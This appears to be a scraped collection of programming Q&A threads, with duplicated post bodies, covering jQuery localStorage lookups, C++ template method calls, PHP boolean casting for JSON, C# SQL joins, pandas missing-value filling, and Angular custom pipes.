The texts 'pearl' and 'diamond' are elements in an array stored in localStorage. I couldn't find any good resources to help me pull the data from localStorage so I can display and manipulate the data in rails. Thus, I wrote a function in my application.js file to help me find the texts and the surrounding classes.

Here's the info in html.

```<code><div class="ruby-gem">
  <a target="_blank" href="https://www.website.com/pearl">pearl</a>
  <img class="star-pic" src="/assets/star-gray.png" alt="star pic">
</div>
<div class="ruby-gem">
  <a target="_blank" href="https://www.website.com/diamond">diamond</a>
  <img class="star-pic" src="/assets/star-gray.png" alt="star pic">
</div>
</code>```

Here's my function in the application.js file. Right now the variable findSrc is undefined.

```<code>function checkStorage(){
  var storage = JSON.parse(localStorage.getItem("rubygems"))
  var gems = $(".ruby-gem a").map(function(){
    return $(this).text()
  }).get()
  for (var i = 0; i < gems.length; i++){
    if(storage.includes(gems[i])){
      var gemFavorite = gems[i]
      var findDiv = $("a:contains(gemFavorite)")
      var findImgClass = findDiv.next()
      var findSrc = $(findImgClass).find("img").attr("src")
      if(findSrc == "/assets/star-gray.png"){
        $(findImgClass).attr("src", "/assets/star-blue.png")
      }
    }
  }
}
</code>```

The ultimate goal is to change the image from a gray star to a blue star if the item(s) are located in localStorage. This is probably not the best way to do it but I couldn't figure out a nicer solution.

Any advice would be greatly appreciated.

答:
You have neglected to insert the gemFavorite variable into the selector string correctly.

var findDiv = $("a:contains(" + gemFavorite + ")")```

Body:
The texts 'pearl' and 'diamond' are elements in an array stored in localStorage. I couldn't find any good resources to help me pull the data from localStorage so I can display and manipulate the data in rails. Thus, I wrote a function in my application.js file to help me find the texts and the surrounding classes.

Here's the info in html.

  pearl

  diamond

Here's my function in the application.js file. Right now the variable findSrc is undefined.

function checkStorage(){
  var storage = JSON.parse(localStorage.getItem("rubygems"))
  var gems = $(".ruby-gem a").map(function(){
    return $(this).text()
  }).get()
  for (var i = 0; i < gems.length; i++){
    if(storage.includes(gems[i])){
      var gemFavorite = gems[i]
      var findDiv = $("a:contains(gemFavorite)")
      var findImgClass = findDiv.next()
      var findSrc = $(findImgClass).find("img").attr("src")
      if(findSrc == "/assets/star-gray.png"){
        $(findImgClass).attr("src", "/assets/star-blue.png")
      }
    }
  }
}

The ultimate goal is to change the image from a gray star to a blue star if the item(s) are located in localStorage. This is probably not the best way to do it but I couldn't figure out a nicer solution.

Any advice would be greatly appreciated.


问:
What does this statement 'p = I.ptr<uchar>(i);' do?
Apparently, the search engine doesn't seem to be taking this symbol ' <> ' into search, Hence can anyone please explain to me what does this symbol mean as well as the statement?

For the statement, I can guess that

```<code>p = I.ptr<uchar>(i);
</code>```

p happens to be pointing at I[i] address.

Thanks :)

答:
It's calling a member function of the class with an argument of i.  For example

```<code>#include <iostream>

using std::cout;
using std::endl;

class Something {
public:
    template <typename T>
    T do_something(T in) {
        cout << __PRETTY_FUNCTION__ << endl;
        return in;
    }
};

int main() {
    auto something = Something{};
    // <int> not really needed here, the type can be deduced,
    // just here for demonstration purposes
    auto integer = something.do_something<int>(1);
    (void) integer;
}
</code>```

Note that in order to do this in the context of a template type you would need to prefix the method call with template as explained in this question - Where and why do I have to put the "template" and "typename" keywords?

Body:
Apparently, the search engine doesn't seem to be taking this symbol ' <> ' into search, Hence can anyone please explain to me what does this symbol mean as well as the statement?

For the statement, I can guess that

p = I.ptr<uchar>(i);

p happens to be pointing at I[i] address.

Thanks :)

Body:
It's calling a member function of the class with an argument of i.  For example

#include <iostream>

using std::cout;
using std::endl;

class Something {
public:
    template <typename T>
    T do_something(T in) {
        cout << __PRETTY_FUNCTION__ << endl;
        return in;
    }
};

int main() {
    auto something = Something{};
    // <int> not really needed here, the type can be deduced,
    // just here for demonstration purposes
    auto integer = something.do_something<int>(1);
    (void) integer;
}

Note that in order to do this in the context of a template type you would need to prefix the method call with template as explained in this question - Where and why do I have to put the "template" and "typename" keywords?


问:
convert tinyint into boolean for later use with php json_encode
i have a table field that's type is tinyint. so the values in mysql can be stored as 1 for true and 0 for false.

i used php's mysqli module to fetch the data.
e.g.

```<code>$result = $mysqli->query("SELECT * FROM table_x_y");
$row = $result->fetch_assoc()
</code>```

now i get a data row of the table. but the fields with the type tinyint are integers not boolean.
the problem come with php's json_encode. i want to create a JSON object. But the boolean fields are still integer (in $row) and the encode function treated them as integer not as a boolean.

the result of the json object looks like

```<code>[
  {
    "foo": 1,
    "bar": 2
  },
  {
    "foo": 0,
    "bar": 1
  }
]
</code>```

but i should look like

```<code>[
  {
    "foo": true,
    "bar": 2
  },
  {
    "foo": false,
    "bar": 1
  }
]
</code>```

Info
foo datatype is tinyint.
bar datatype is int

答:
You need to explicitly typecast $row['foo'] to boolean while creating the dynamic array, kind of like this:

```<code>$array = array();
$result = $mysqli->query("SELECT * FROM table_x_y");
while($row = $result->fetch_assoc()){
    $array[] = array('foo' => (bool)$row['foo'], 'bar' => $row['bar']);
}
echo json_encode($array);
</code>```

Body:
i have a table field that's type is tinyint. so the values in mysql can be stored as 1 for true and 0 for false.

i used php's mysqli module to fetch the data.
e.g.

$result = $mysqli->query("SELECT * FROM table_x_y");
$row = $result->fetch_assoc()

now i get a data row of the table. but the fields with the type tinyint are integers not boolean.
the problem come with php's json_encode. i want to create a JSON object. But the boolean fields are still integer (in $row) and the encode function treated them as integer not as a boolean.

the result of the json object looks like

[
  {
    "foo": 1,
    "bar": 2
  },
  {
    "foo": 0,
    "bar": 1
  }
]

but i should look like

[
  {
    "foo": true,
    "bar": 2
  },
  {
    "foo": false,
    "bar": 1
  }
]

Info
foo datatype is tinyint.
bar datatype is int

Body:
You need to explicitly typecast $row['foo'] to boolean while creating the dynamic array, kind of like this:

$array = array();
$result = $mysqli->query("SELECT * FROM table_x_y");
while($row = $result->fetch_assoc()){
    $array[] = array('foo' => (bool)$row['foo'], 'bar' => $row['bar']);
}
echo json_encode($array);


问:
Retrieve data from dataset
```<code>SqlDataAdapter da = new SqlDataAdapter("Select StudentID,StudentName from StudentMaster where StudentID = '" + start + "'", conn);
DataSet ds = new DataSet();
da.Fill(ds,"StudentMaster");
SqlDataAdapter db = new SqlDataAdapter("Select Registration_No from Candidate_Registration where StudentID='" + start + "'", conn);
db.Fill(ds, "Candidate_Registration");
</code>```

Here 'start' is a textbox value of a textbox in previous form i.e form2.
I want to fetch StudentName and StudentID from StudentMaster where StudentID = start.
The table is named 'StudentMaster'.
Fill the dataset with StudentMaster.
Then I want to fetch Registration_No from Candidate_Registration where StudentID=start.
The table is named 'Candidate_Registration'.
Fill the dataset with Candidate_Registration.
Now according to the 'Registration_No' that is fetched, I want to fetch 'CourseID' from 'Registered_Courses'.
But, the problem is, how to access the fetched 'Registration_No' i.e. how to put it in the following query:
if I can take the fetched Registration_No into a variable named 'reg_no' then,
"Select CourseID from Registered_Courses where Registration_No="+ reg_no;

For more understanding I mention the tables and the relationships....

```<code>StudentMaster
-------------
StudentID Primary key,
StudentName

Candidate_Registration
----------------------
Registration_No Foreign key,
ExamID Foreign key,
StudentID Foreign key,
Seat_No,
Primary key(Registration_No,ExamID)

Registered_Courses
------------------
Registration_No Primary key,
ExamID Foreign key,
CourseID Foreign key,

Course_Master
-------------
CourseID Primary key,
Course_Name,
Description
</code>```

i.e. finally I want to get the Course_Name for a particular StudentID.

Can anyone please help me out. Thanks in advance!

答:
Try this query :

```<code>Select StudentMaster.StudentId, Course_Master.Course_Name from StudentMaster
INNER JOIN Candidate_Registration
ON Candidate_Registration.StudentId = StudentMaster.StudentId
INNER JOIN Registered_Courses
ON Registered_Courses.Registration_No = Candidate_Registration.Registration_No AND Registered_Courses.ExamID = Candidate_Registration.ExamID
INNER JOIN Course_Master
ON Course_Master.CourseID = Registered_Courses.CourseID
WHERE StudentMaster.StudentId = @MyId
</code>```

Replace @MyId with your Id parameter and it gives you all the CourseNames for a StudentId.

Title: Retrieve data from dataset

Body:
SqlDataAdapter da = new SqlDataAdapter("Select StudentID,StudentName from StudentMaster where StudentID = '" + start + "'", conn);
DataSet ds = new DataSet();
da.Fill(ds,"StudentMaster");
SqlDataAdapter db = new SqlDataAdapter("Select Registration_No from Candidate_Registration where StudentID='" + start + "'", conn);
db.Fill(ds, "Candidate_Registration");

Here 'start' is a textbox value of a textbox in previous form i.e form2.
I want to fetch StudentName and StudentID from StudentMaster where StudentID = start.
The table is named 'StudentMaster'.
Fill the dataset with StudentMaster.
Then I want to fetch Registration_No from Candidate_Registration where StudentID=start.
The table is named 'Candidate_Registration'.
Fill the dataset with Candidate_Registration.
Now according to the 'Registration_No' that is fetched, I want to fetch 'CourseID' from 'Registered_Courses'.
But, the problem is, how to access the fetched 'Registration_No' i.e. how to put it in the following query:
if I can take the fetched Registration_No into a variable named 'reg_no' then,
"Select CourseID from Registered_Courses where Registration_No="+ reg_no;

For more understanding I mention the tables and the relationships....

StudentMaster
-------------
StudentID Primary key,
StudentName

Candidate_Registration
----------------------
Registration_No Foreign key,
ExamID Foreign key,
StudentID Foreign key,
Seat_No,
Primary key(Registration_No,ExamID)

Registered_Courses
------------------
Registration_No Primary key,
ExamID Foreign key,
CourseID Foreign key,

Course_Master
-------------
CourseID Primary key,
Course_Name,
Description

i.e. finally I want to get the Course_Name for a particular StudentID.

Can anyone please help me out. Thanks in advance!

Body:
Try this query :

Select StudentMaster.StudentId, Course_Master.Course_Name from StudentMaster
INNER JOIN Candidate_Registration
ON Candidate_Registration.StudentId = StudentMaster.StudentId
INNER JOIN Registered_Courses
ON Registered_Courses.Registration_No = Candidate_Registration.Registration_No AND Registered_Courses.ExamID = Candidate_Registration.ExamID
INNER JOIN Course_Master
ON Course_Master.CourseID = Registered_Courses.CourseID
WHERE StudentMaster.StudentId = @MyId

Replace @MyId with your Id parameter and it gives you all the CourseNames for a StudentId.


问:
update missing values in Python Pandas dataframe with matching conditions
I have a dataframe df1 with 3 columns (A,B,C), NaN represents missing value here

```<code>A     B      C
1     2    NaN
2     1    2.3
2     3    2.5
</code>```

I have a dataframe df2 with 3 columns (A,B,D)

```<code>A     B     D
1     2     2
2     1     2
2     3     4
</code>```

The expected output would be

```<code>A     B      C
1     2      2
2     1      2.3
2     3      2.5
</code>```

I want to have values in column C in df1 intact if not missing, replaced by corresponding value in D with other two columns value equal, i.e, df1.A==df2.A and df1.B==df2.B

any good solution?

答:
IIUC:

```<code>In [100]: df['C'] = np.where((np.isnan(df.C))&(df.A==df1.A)&(df.B==df1.B),df1.D,df.C)

In [101]: df
Out[101]:
     A    B    C
0  1.0  2.0  2.0
1  2.0  1.0  2.3
2  2.3  1.2  2.5
</code>```

np.where is faster when compared:

```<code>In [102]: %timeit df['C'] = np.where((np.isnan(df.C))&(df.A==df1.A)&(df.B==df1.B),df1.D,df.C)
1000 loops, best of 3: 1.3 ms per loop

In [103]: %timeit df.set_index(['A', 'B'])['C'].fillna(df1.set_index(['A', 'B'])['D']).reset_index()
100 loops, best of 3: 5.92 ms per loop
</code>```

Body:
I have a dataframe df1 with 3 columns (A,B,C), NaN represents missing value here

A     B      C
1     2    NaN
2     1    2.3
2     3    2.5

I have a dataframe df2 with 3 columns (A,B,D)

A     B     D
1     2     2
2     1     2
2     3     4

The expected output would be

A     B      C
1     2      2
2     1      2.3
2     3      2.5

I want to have values in column C in df1 intact if not missing, replaced by corresponding value in D with other two columns value equal, i.e, df1.A==df2.A and df1.B==df2.B

any good solution?

Body:
IIUC:

In [100]: df['C'] = np.where((np.isnan(df.C))&(df.A==df1.A)&(df.B==df1.B),df1.D,df.C)

In [101]: df
Out[101]:
     A    B    C
0  1.0  2.0  2.0
1  2.0  1.0  2.3
2  2.3  1.2  2.5

np.where is faster when compared:

In [102]: %timeit df['C'] = np.where((np.isnan(df.C))&(df.A==df1.A)&(df.B==df1.B),df1.D,df.C)
1000 loops, best of 3: 1.3 ms per loop

In [103]: %timeit df.set_index(['A', 'B'])['C'].fillna(df1.set_index(['A', 'B'])['D']).reset_index()
100 loops, best of 3: 5.92 ms per loop


问:
Extend Angular Template Syntax
I am looking for some advice on how to extend the Angular templating syntax.

Reason : I am new to Angluar, and find it great so far, however some time ago I wrote my own simple templating system which I would like to retrieve some of the functionality from within the scope of Angular. It was written for a project I was working on at the time and has the same {{ }} syntax.  The difference is my system allowed me to insert directives between the two opening braces which act in the same way as Angulars filters I.E :

{${1000000}}  =  {{1000000 | currency}}  = $1,000,000

As I understand it, in order for Angular to support British pounds, a custom filter would need to be written such as the one found here :

To convert currency from US to UK in AngularJS

I would like to provide the ability to do the following :

{GBP{1000000}  = £1,000,000
{CAD{1000000}  = C$1,000,000

And so on, for about a dozen or so different useful cases I frequently use with my templating system. Things like {l{THIS WILL BE LOWER CASE}} {U{{this will be upper case}} and so on.

It seems to me that I could write a simple pre-processor for the page which converts my syntax to Angular syntax prior to Angular being instantiated, but I feel that that approach may be both inefficient and inelegant.

Of course I could just get over it and type the more verbose Angular filter directives out, but as an ulterior motive to doing this I'm also curious about the Angular internals and how they work.

Any help will be most appreciated, many thanks.

答:
With regex and custom pipes you can definitely get what you're looking for. First, you'd need to write a custom pipe - https://angular.io/guide/pipes#custom-pipes

Second, you'd have to define some way to do all the formatting and transforming that you require. I'm not entirely sure what it is exactly you are trying to write a pipe for, but all you need to know is that the transform function will do all of the work for you in the end.

If you could give a clearer example of what you're trying to pipe, I'd be happy to help further.

Title: Extend Angular Template Syntax